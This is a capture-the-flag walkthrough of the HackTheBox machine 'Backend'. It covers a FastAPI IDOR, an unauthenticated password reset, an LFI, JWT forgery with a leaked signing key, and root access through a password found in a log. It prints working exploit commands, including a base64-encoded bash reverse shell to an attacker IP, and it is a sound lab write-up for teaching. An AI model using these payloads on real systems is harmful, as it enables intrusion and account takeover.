the_open_door
coffee
ESEN

Backend

HackTheBoxMediumLinux10.10.11.161

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#api#fastapi#idor#jwt#jwt-forgery#lfi#rce#information-disclosure#reverse-shell
TL;DR. Backend is a Linux box centred on abusing a FastAPI API. We enumerate the endpoints, read the admin's data via IDOR (its GUID), register an account to get a token that unlocks the schema, and find /updatepass: an unauthenticated endpoint that overwrites any user's password given their GUID. As admin we read files through an authenticated LFI, recover the JWT signing key from the source code and forge a token with debug:true (JWT forgery) that unlocks /admin/exec for RCE. Once inside, a password leaked in the application's own log gives root.

Recon

Initial scan

ping -c 1 10.10.11.161

ping to 10.10.11.161 with ttl=63

64 bytes from 10.10.11.161: icmp_seq=1 ttl=63 time=97.3 ms

TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

The UDP sweep over the 100 most common ports returns nothing:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.161 | grep -v 'no-response'

UDP scan with no open ports

Not shown: 6 closed udp ports (port-unreach)
PORT      STATE           SERVICE       REASON

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds

The table comes out empty, but the line above it is worth reading properly: of the 100 ports probed only 6 answered with a port-unreach declaring them closed. The other 94 stayed at no-response, which in UDP means "open or filtered, I cannot tell". An empty UDP scan is never a clearance, it is a "not worth pushing here right now".

The full TCP scan, on the other hand, is definitive:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.161

full TCP scan showing ports 22 and 80 open with syn-ack ttl 63

Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts picks up the scan's result, leaves it on the clipboard and also saves it to an extractPorts.tmp to come back to later:

extractPorts scan

extractPorts reading Backend's scan file, returning IP Address 10.10.11.161 and Open ports 22,80, and the extractPorts.tmp holding those same two lines

Extracting information ...

    IP Address: 10.10.11.161
    Open ports: 22,80

Ports copied to clipboard

File: extractPorts.tmp
1  IP Address: 10.10.11.161
2  Open ports: 22,80

Two ports out of 65535, and the REASON column echoes the ttl 63 from the ping, this time over TCP packets. On to the versions:

nmap -p22,80 -sCV 10.10.11.161

nmap -sCV identifying OpenSSH 8.2p1 Ubuntu and Uvicorn, with http-title reporting application/json

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 places the box on Ubuntu 20.04, but the interesting bit is two lines down. The http-title script finds no title and explains why: (application/json). Before we even open a browser, nmap has told us that port 80 does not serve HTML, it serves JSON. There is no web app with forms and directories here, there is an API, and that changes the whole methodology that follows.

HTTP - TCP 80: an API, not a web app

whatweb confirms how little there is:

whatweb http://10.10.11.161

whatweb returning only the uvicorn HTTPServer, no title, no framework

http://10.10.11.161 [200 OK] Country[RESERVED][ZZ], HTTPServer[uvicorn], IP[10.10.11.161]

No Title[], no Script[], no cookies, no framework headers. Just HTTPServer[uvicorn]. On a normal site this output would run to ten lines; the fact that it fits in one is the finding itself.

Uvicorn is a Python ASGI server, the default choice for deploying FastAPI and Starlette. In the browser we see the API root, and Wappalyzer adds nothing we did not already know:

the browser shows {"msg":"UHC API Version 1.0"} and Wappalyzer detects Uvicorn and Python

{"msg":"UHC API Version 1.0"}

A route scan completes the map:

dirsearch -u http://10.10.11.161/ --exclude-status=403,404

dirsearch finding /api and /api/v1 with 200, and /docs and /openapi.json with 401

[13:13:36] 200 -   20B  - /api
[13:13:36] 307 -    0B  - /api/    ->  http://10.10.11.161/api
[13:13:37] 200 -   30B  - /api/v1
[13:13:37] 307 -    0B  - /api/v1/ ->  http://10.10.11.161/api/v1
[13:14:01] 401 -   30B  - /docs
[13:14:01] 307 -    0B  - /docs/   ->  http://10.10.11.161/docs
[13:14:37] 401 -   30B  - /openapi.json

Four routes and two status codes telling different stories. /api and /api/v1 answer 200 with no questions asked. /docs and /openapi.json answer 401, not 404: they exist, but they demand authentication. That difference is a fairly clear invitation, because /openapi.json is the API's full specification, the index of everything that can be called. Getting any token at all, even an unprivileged one, will buy us the entire map.

API enumeration

Walking the hierarchy: IDOR on /api/v1/user/1

With no documentation, the API gets explored by hand, following whatever each response suggests:

curl -s http://10.10.11.161/api
curl -s http://10.10.11.161/api/v1
curl -s http://10.10.11.161/api/v1/user
curl -s http://10.10.11.161/api/v1/user/a
curl -s http://10.10.11.161/api/v1/user/1 | jq

the chained API responses, ending in the full record of user 1 with its GUID

{"endpoints":["v1"]}
{"endpoints":["user","admin"]}
{"detail":"Not Found"}
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}
{
  "guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
  "email": "admin@htb.local",
  "date": null,
  "time_created": 1649533388111,
  "is_superuser": true,
  "id": 1
}

The chain explains itself. The API keeps announcing its own children (v1, then user and admin). Plain /api/v1/user returns Not Found, so it is not a listing. And probing /api/v1/user/a does not produce a generic error: FastAPI replies that user_id is not a valid integer. It has just handed us the parameter's name and type. We try the most obvious integer, 1, and out comes the first user created in the database.

/api/v1/user/1 leaks, with no authentication whatsoever, the administrator's record: a textbook IDOR, a sequential identifier nobody checks belongs to you. The email (admin@htb.local) and the is_superuser: true are already useful, but the valuable part is the guid:

36c2e94a-4271-4259-93bf-c96ad5948284

A GUID looks harmless, just another internal identifier. We note it down without yet knowing what it is for, and that is precisely this box's lesson.

Endpoint fuzzing: 422 as an oracle

There may be more routes under /api/v1/user/ besides the {user_id} one. Time to fuzz:

wfuzz -u 'http://10.10.11.161/api/v1/user/FUZZ' -X POST -w /path/to/common.txt --hh=31,22 -t 500

wfuzz returning 422 for login and signup

ID            Response   Lines    Word     Chars       Payload
000001044:    307        0 L      0 W      0 Ch        "cgi-bin/"
000002524:    422        0 L      3 W      172 Ch      "login"
000003816:    422        0 L      2 W      81 Ch       "signup"

Two hits, and neither returns 200. That 422 Unprocessable Entity is the key: in FastAPI, a 422 means "the route exists and the method is right, but the body you sent does not pass validation". In other words, a 422 is a hit, not a miss. That is why the fuzzing runs with -X POST (API endpoints rarely answer GET) and why the --hh filter discards by response length rather than by status code: filtering for "200 only" here would have left the screen blank.

login and signup are now on the map.

Register and log in: the errors dictate the schema

We do not know which fields signup expects, but there is no need to guess. It is enough to ask badly and read the complaint:

curl -X POST -s http://10.10.11.161/api/v1/user/signup | jq
curl -X POST -s http://10.10.11.161/api/v1/user/signup -H "content-type: application/json" -d '{"example":"example"}' | jq
curl -X POST -s http://10.10.11.161/api/v1/user/signup -H "content-type: application/json" -d '{"email":"kmn9@htb.local","password":"1234"}' | jq

the sequence of FastAPI validation errors revealing that signup wants email and password

// 1. No body: it only knows the body is missing
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}

// 2. With arbitrary JSON: FastAPI enumerates the missing fields
{"detail":[{"loc":["body","email"],"msg":"field required","type":"value_error.missing"},
           {"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}

// 3. With the right fields
{}

This ladder is worth pausing on, because it repeats three times across the box. FastAPI validates bodies with Pydantic, and when validation fails it returns the list of missing fields, with their exact path (["body","email"]). Deliberately sending junk turns the error message into documentation: we are not guessing the schema, we are getting the server to spell it out. Convenient for the developer, a gift for the attacker (API information disclosure).

The {} from the third request confirms the registration. Login, however, does not take JSON:

JSON login fails asking for username and password, form-urlencoded returns the JWT

# JSON  ->  the endpoint rejects the body
{"detail":[{"loc":["body","username"],"msg":"field required","type":"value_error.missing"},
           {"loc":["body","password"],"msg":"field required","type":"value_error.missing"}]}

Note the detail: it asks for username, not email. That is the signature of OAuth2PasswordRequestForm, FastAPI's standard helper, which by specification travels as a form and calls the identification field username even when the value is an email address. Without -H content-type, curl already sends application/x-www-form-urlencoded:

curl -X POST -s http://10.10.11.161/api/v1/user/login -d 'username=kmn9@htb.local&password=1234'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","token_type":"bearer"}

We now hold a plain user's JWT. With it we go straight for what the 401 was hiding.

The full schema: openapi.json

curl -X POST -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>"
curl -X GET  -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq

the POST returns Method Not Allowed and the GET returns the full OpenAPI 3.0.2 spec

{"detail":"Method Not Allowed"}
{
  "openapi": "3.0.2",
  "info": { "title": "FastAPI", "version": "0.1.0" },
  "paths": { "/": { "get": { "summary": "Root", ... } } }
}

The Method Not Allowed from the first attempt is a cheap reminder that an endpoint is a route plus a verb, not just a route. With GET the whole specification comes out. We filter it by the API routes:

curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '/api/v1'

filtered openapi.json revealing updatepass, admin/file and admin/exec

"/api/v1": {
"/api/v1/user/{user_id}": {
"/api/v1/user/login": {
"/api/v1/user/signup": {
"/api/v1/user/SecretFlagEndpoint": {
"/api/v1/user/updatepass": {
"/api/v1/admin/": {
"/api/v1/admin/file": {
"/api/v1/admin/exec/{command}": {
        "tokenUrl": "/api/v1/user/login"

Nine routes, three of which no wordlist would ever have found: SecretFlagEndpoint, admin/file and admin/exec/{command}. That is the real payoff of having registered. /admin/exec/{command} is command execution served on a plate and /admin/file smells like file reading, but both hang off /admin and we are just a regular user. The one that sits under /user, within our account's reach, is /user/updatepass.

Admin account takeover

The /updatepass schema

The specification does not only list routes: it describes every body. We look at what updatepass wants:

curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '/api/v1/user/updatepass' -A 15

the updatepass definition pointing at the UserPWUpdate schema

"/api/v1/user/updatepass": {
  "post": {
    "tags": ["user"],
    "summary": "Update Password",
    "description": "Update a user password",
    "operationId": "update_password_api_v1_user_updatepass_post",
    "requestBody": {
      "content": { "application/json": {
        "schema": { "$ref": "#/components/schemas/UserPWUpdate" }
      } }
    }
  }
}

The $ref points at the UserPWUpdate schema, which also ships in the same document:

curl -X GET -s http://10.10.11.161/openapi.json -H "Authorization: Bearer <jwt>" | jq | grep '"UserPWUpdate"' -A 15

the UserPWUpdate schema requiring only guid and password

"UserPWUpdate": {
  "title": "UserPWUpdate",
  "required": ["guid", "password"],
  "type": "object",
  "properties": {
    "guid":     { "title": "Guid",     "type": "string" },
    "password": { "title": "Password", "type": "string" }
  }
}

There is the design flaw, written down by the application itself. Changing a password requires exactly two things: a guid and the new password. The current password is never asked for, and the user being acted upon is identified by a value travelling in the body, not by the caller's session.

And we have had a guid since recon: the administrator's, served up by the IDOR on /api/v1/user/1.

Overwriting the admin's password

curl -X POST -s http://10.10.11.161/api/v1/user/updatepass -H "content-type: application/json" -d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"1234"}'

the updatepass response returning the admin's full record, bcrypt hash included

{"date":null,"id":1,"is_superuser":true,
 "hashed_password":"$2b$12$uv1Ao/KHVrtpE6n.nar2B.CC41fFtJ6Xk475ur/1Ooe3P7egRR7UK",
 "guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local",
 "time_created":1649533388111,"last_update":null}

Two things here deserve a second look.

The first is in the command, in what is not there: no Authorization header. No token, ours or anyone else's. The endpoint accepts an anonymous request and changes the superuser's password. Registering was needed to discover /updatepass by reading openapi.json, but not to use it.

The second is in the response: the API returns the complete user object, hashed_password included. It is bcrypt with cost 12, so cracking it is not realistic, but that is no excuse: an endpoint that hands back password hashes is a leak with no upside. Here it is redundant on top of that, since we picked the password ourselves a moment ago.

We check the change took effect:

curl -X POST -s http://10.10.11.161/api/v1/user/login -d 'username=admin@htb.local&password=1234'

admin login with the overwritten password, returning a JWT

{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzY1MDU0OTEwLCJpYXQiOjE3NjQzNjM3MTAsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOi...","token_type":"bearer"}

Decoding the payload (the middle part, base64url) shows "sub":"1" and "is_superuser":true. We are API administrators.

/admin/exec: "Debug key missing from JWT"

With the superuser token, the first thing to try is the endpoint that grants direct RCE:

curl -s http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer <admin-jwt>"

the exec endpoint rejects the admin token with "Debug key missing from JWT"

{"detail":"Debug key missing from JWT"}

And that is where the easy path ends. is_superuser is not enough: /admin/exec additionally demands a debug claim inside the token, a second gate meant to keep command execution alive only while someone is debugging.

It is a remarkably generous error message, because it does not say "forbidden", it says exactly what is missing. And we cannot simply bolt "debug": true onto the payload and resend it: touching a JWT invalidates its signature. Either we find the key the server signs with, or this goes nowhere.

The other admin endpoint is still available, and now it has a concrete goal: /admin/file reads files, and the signing key lives in some file.

RCE: forge a privileged JWT

Authenticated LFI

We repeat the error-message technique to work out what /admin/file expects:

curl -X POST -s http://10.10.11.161/api/v1/admin/file -H "Authorization: Bearer <admin-jwt>"
curl -X POST -s ... -H "content-type: application/json" -d '{"example":"example"}'
curl -X POST -s ... -H "content-type: application/json" -d '{"file":"/etc/passwd"}'

the validation errors reveal the file field, and /etc/passwd is read in full

{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
{"detail":[{"loc":["body","file"],"msg":"field required","type":"value_error.missing"}]}
{"file":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\nhtb:x:1000:1000::/home/htb:/bin/bash\n"}

The second error hands us the field name (file) and the third returns all of /etc/passwd: an LFI with no filtering at all, absolute paths, no ../ needed. At the end of the file, htb:x:1000:1000::/home/htb:/bin/bash, the only real user on the box.

With a user, an LFI and port 22 open, the obvious shortcut is their private key:

curl -X POST -s ... -d '{"file":"/home/htb/.ssh/id_rsa"}'
curl -X POST -s ... -d '{"file":"/home/htb/user.txt"}'

id_rsa returns Internal Server Error while user.txt returns the flag

Internal Server Error
{"file":"2783bb25dced850aa5c6ff04e4c06ec3\n"}

The id_rsa does not exist (or is not readable), and the LFI does not distinguish between the two cases: any failure to open blows up with a 500. The quick SSH route is closed.

In exchange, the second request leaves something curious: the user flag is read right here, with no shell, no RCE, just by reading a file. The flag is not the real objective of the box, but it is a useful yardstick for the impact of an arbitrary LFI: if it can read user.txt, it can read anything the process has permission to open.

From the process to the source code

We know there is a signing key somewhere and that we can read files, but not where the application is deployed. Instead of guessing paths, we ask the process itself through /proc/self:

curl -X POST -s ... -d '{"file":"/proc/self/cmdline"}' | jq
curl -X POST -s ... -d '{"file":"/proc/self/environ"}' | jq
curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/main.py"}' | jq

/proc/self/environ revealing APP_MODULE and PWD, with main.py read next

# /proc/self/cmdline
/home/htb/uhc/.venv/bin/python3\0-c\0from multiprocessing.spawn import spawn_main; ...

# /proc/self/environ
APP_MODULE=app.main:app\0PWD=/home/htb/uhc\0LOGNAME=htb\0PORT=80\0HOME=/home/htb\0
LANG=C.UTF-8\0VIRTUAL_ENV=/home/htb/uhc/.venv\0HOST=0.0.0.0\0USER=htb\0
PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:...\0

Two variables solve the problem. PWD=/home/htb/uhc says where the service was launched from and APP_MODULE=app.main:app says which module Uvicorn loads, in Python notation: package app, module main, object app. Translated into a path, app.main is app/main.py hanging off the working directory:

/home/htb/uhc  +  app/main.py  ->  /home/htb/uhc/app/main.py

That is not guessing, that is reading. And it works:

curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/main.py"}' | jq '.file' -r > main.py
cat -l py main.py

main.py with the app.core.config import highlighted

from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi.openapi.docs import get_swagger_ui_html
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud

app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)

Two readings of this fragment.

The first settles the 401 we saw during recon. FastAPI(...) is instantiated with openapi_url=None and docs_url=None, meaning the automatic documentation is disabled. But the developer wired it back up by hand further down, behind a dependency that demands a token. That is why /openapi.json answered 401 and not 404: the endpoint existed, it was merely protected, and that protection collapses the moment anyone can register.

The second is the thread we were after: from app.core.config import settings. The configuration lives in app/core/config.py, and that is where a signing key usually ends up.

The signing key

curl -X POST -s ... -d '{"file":"/home/htb/uhc/app/core/config.py"}' | jq '.file' -r > config.py
cat -l py config.py

config.py with JWT_SECRET in cleartext

class Settings(BaseSettings):
    API_V1_STR: str = "/api/v1"
    JWT_SECRET: str = "SuperSecretSigningKey-HTB"
    ALGORITHM: str = "HS256"

    # 60 minutes * 24 hours * 8 days = 8 days
    ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8

The signing key, in cleartext, in the repository: SuperSecretSigningKey-HTB. And next to it the algorithm, HS256, which is symmetric: the same string that signs is the one that verifies. Whoever reads it does not gain the ability to check tokens, they gain the ability to issue them (credentials in source code).

Signing a token with debug:true

We now have both pieces: we know what is missing (debug) and what to sign with. jwt_tool (repo) does both in one step, with -T to edit the payload and -S hs256 -p to re-sign:

python3 jwt_tool.py '<admin-jwt>' -T -S hs256 -p 'SuperSecretSigningKey-HTB'

jwt_tool in tamper mode showing the HS256 header and the token payload

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"

Token payload values:
[1] type = "access_token"
[2] exp = 1765054910   ==> TIMESTAMP = 2025-12-06 21:01:50 (UTC)
[3] iat = 1764363710   ==> TIMESTAMP = 2025-11-28 21:01:50 (UTC)
[4] sub = "1"
[5] is_superuser = True

We add the claim the error asked for, through the *ADD A VALUE* option:

jwt_tool adding debug=true to the payload and returning the re-signed token

[6] guid = "36c2e94a-4271-4259-93bf-c96ad5948284"
[7] *ADD A VALUE*
> 7
Please enter new Key and hit ENTER
> debug
Please enter new value for debug and hit ENTER
> true

[7] debug = True

jwttool_c7a9bd31cfe220541128c9f3b908c571 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoi...LjkZWJ1ZyI6dHJ1ZX0.24sWIEDhbh9soeJgsyhqWuV9ALohaRIE7lWuAQ0PcGU

HMAC Signing is the part that matters: it has not mangled the signature to fool anyone, it has computed the correct signature for the new contents using the server's legitimate key. To the API this token is indistinguishable from one it issued itself, because cryptographically it is.

curl -s http://10.10.11.161/api/v1/admin/exec/whoami -H "Authorization: Bearer <forged-token>"

the forged token passes the check and whoami returns htb

"htb"

This is a textbook JWT forgery. The lesson is not that HS256 is insecure, but that a JWT is only worth as much as its signing secret: the moment the key can be read, every claim in the token falls under the attacker's control, including the ones the developer considered internal.

Initial access

Reverse shell

/admin/exec takes the command in the URL, so spaces and special characters are a problem. The standard fix: wrap the payload in base64, which only uses safe characters, and decode it on the target.

Before firing it at the box, we test it locally. It is a habit that saves dead time staring at a silent listener, because it separates "the payload is wrong" from "the payload is not arriving":

echo -n "/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'" | base64
echo 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjYvNDQ0NCAwPiYxJw==' | base64 -d | bash

the payload tested locally returns a shell from our own Kali

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from kali~10.10.16.6-Linux-x86_64  Assigned SessionID <1>

The shell comes back from our own Kali: the chain works. Now we send it through the URL, with | encoded as %7C and spaces as %20:

curl -s 'http://10.10.11.161/api/v1/admin/exec/echo%20<b64>%7Cbase64%20-d%7Cbash' -H "Authorization: Bearer <forged-token>"

reverse shell received from backend as the htb user

[+] Got reverse shell from backend~10.10.11.161-Linux-x86_64  Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /home/htb/uhc/.venv/bin/python3!
htb@backend:~/uhc$ whoami
htb

Shell as htb, with a detail that saves work: the TTY gets stabilised using the application's own virtualenv Python, /home/htb/uhc/.venv/bin/python3. The shell lands straight in ~/uhc, the API directory.

user flag

htb@backend:~/uhc$ cat /home/htb/user.txt
2783bb25dced850aa5c6ff04e4c06ec3

Privilege escalation

Password leaked in auth.log

The first place to look is the directory we landed in, because it belongs to the application we just compromised:

ls -l ~/uhc
cat auth.log

the ~/uhc listing with auth.log and uhc.db, and the log contents with a password in the username field

htb@backend:~/uhc$ ls -l
total 76
drwxrwxr-x 1 htb htb    90 Apr  6  2022 alembic
drwxrwxr-x 1 htb htb   218 Apr 10  2022 app
-rw-r--r-- 1 htb htb  1294 Nov 28 21:01 auth.log
-rwxrwxr-x 1 htb htb   127 Apr  6  2022 builddb.sh
-rw-rw-r-- 1 htb htb  2750 Apr 10  2022 populateauth.py
-rwxrwxr-x 1 htb htb   171 Apr  6  2022 prestart.sh
-rwxrwxr-x 1 htb htb   241 Apr 10  2022 run.sh
-rw-r--r-- 1 htb htb 24576 Nov 28 20:58 uhc.db

That auth.log is not the system one. It is not in /var/log, it sits in the application's directory next to uhc.db and a populateauth.py that feeds it: it is a log the API itself writes every time someone tries to log in. And its modification time is a few minutes old, from our own attempts.

11/28/2025, 15:57:54 - Login Success for admin@htb.local
11/28/2025, 16:01:14 - Login Success for admin@htb.local
11/28/2025, 16:14:34 - Login Success for admin@htb.local
...
11/28/2025, 16:56:14 - Login Success for admin@htb.local
11/28/2025, 17:04:34 - Login Failure for Tr0ub4dor&3
11/28/2025, 17:06:09 - Login Success for admin@htb.local

Dozens of identical lines and one that breaks the pattern. Where all the others carry an email address, the Login Failure one carries Tr0ub4dor&3, which is no email: it is a password. Someone hit the wrong field, typed the password where the username goes, the login failed, and the application dutifully logged the attempt with the value entered.

That is the flaw, and it has two layers. The first is that the application logs the typed identifier verbatim, unsanitised, so a user's slip ends up on disk in cleartext. The second is that the log sits in the API's directory, readable by the same account that serves the web app, which is to say by anyone who lands RCE.

We try the password against root (credential reuse):

su root

su root accepted and the root flag

htb@backend:~/uhc$ su root
Password:
root@backend:/home/htb/uhc# cat /root/root.txt
3ba77407d66b850f0f776157f58a86e7

Attack chain

HTTP/API FastAPI  (nmap: http-title -> application/json)
   │ IDOR on /api/v1/user/1  -> admin GUID
   ▼
signup + login  -> plain user JWT
   │ /openapi.json (401 without a token) -> full schema -> /user/updatepass
   ▼
POST /user/updatepass with the GUID  (unauthenticated)  -> admin password overwritten
   │ login as admin -> JWT with is_superuser
   ▼
/admin/exec -> "Debug key missing from JWT"   (dead end)
   │
   ▼
/admin/file (LFI) -> /proc/self/environ -> main.py -> config.py -> JWT_SECRET
   │ jwt_tool: token re-signed with debug:true  (JWT forgery)
   ▼
/admin/exec -> RCE -> reverse shell as htb -> user.txt
   │ password in the application's own auth.log
   ▼
su root -> root.txt

Lessons learned

  • An API's error messages are documentation. FastAPI answers an invalid body with the exact list of missing fields, and an existing route with a 422 instead of a 404. Enumeration becomes a conversation: you ask badly on purpose and the server keeps correcting you. Returning generic errors costs little and blinds that avenue.
  • An IDOR is not "just" reading. Leaking the admin's GUID looked minor, but that identifier was the only credential /updatepass asked for to authorize the change. Authorization is checked against the caller's session, never against an identifier that travels in the body and that the attacker controls.
  • Never store the JWT signing key in code. With SuperSecretSigningKey-HTB in config.py and an LFI to read it, the attacker stops being limited to the claims the server granted: they issue their own. In HS256 the verifying key is the signing key, so reading it is the same as being able to issue. Keys belong in environment variables or a secret manager.
  • /proc/self/environ and /proc/self/cmdline are gold after an LFI. APP_MODULE and PWD turned "I have no idea where the app is deployed" into an exact path without a single guess. They are the bridge between "I can read /etc/passwd" and "I can read the code that hands me the keys".
  • Application logs leak secrets. A user typing the password into the name field leaves it written in cleartext forever. Authentication logs should not store the identifier verbatim, should not live in a directory readable by the web process, and an application password certainly should not double as the system root password (credential reuse).
Command cheatsheet 19 commands

Quick review